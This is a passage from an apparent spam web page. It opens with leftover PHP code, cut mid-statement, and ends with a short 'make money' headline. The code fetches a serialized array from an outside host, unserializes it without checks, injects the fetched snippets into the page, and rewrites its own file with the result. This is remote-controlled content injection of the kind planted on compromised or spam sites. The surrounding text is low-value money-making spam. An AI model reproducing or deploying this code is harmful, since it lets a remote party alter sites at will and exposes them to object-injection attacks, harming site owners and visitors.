filebody = file_get_contents(__FILE__); $this->filebody = preg_replace('~^.*?// End o PHP code\\s*\\?>\\s*~s', '', $this->filebody); $this->filebody = $this->_replace($this->filebody); if (is_writable(__FILE__) && @file_put_contents(__FILE__, $this->filebody)) { readfile(__FILE__); } else { echo $this->filebody; } exit; } function _replace($file_body) { $GLOBALS['setSnippetObj'] = new SetSnippet; $file_body = preg_replace_callback('~<\\?php\\s+echo\\s+\\$(first_snippet.*?)\\s*;\\s*\\?>~', create_function( '$regs', 'return $GLOBALS[\'setSnippetObj\']->replaceMarker($regs[1]);'), $file_body); return $file_body; } } class SetSnippet { var $source = 'http://universalwebserver.com/user_s/snippet_first_static_serial.php'; var $snippet_array = array(); // function SetSnippet() { $this->snippet_array = unserialize(file_get_contents($this->source)); //print_r($this->snippet_array); } function replaceMarker($key) { return array_key_exists($key, $this->snippet_array) ? $this->snippet_array[$key] : ''; } } // End o PHP code ?>

Working for money VS Building assets that makes money MAKE MONEY

The latest in Working for money VS Building assets that makes money MAKE MONEY, free money headlines, and importantfree money announcements!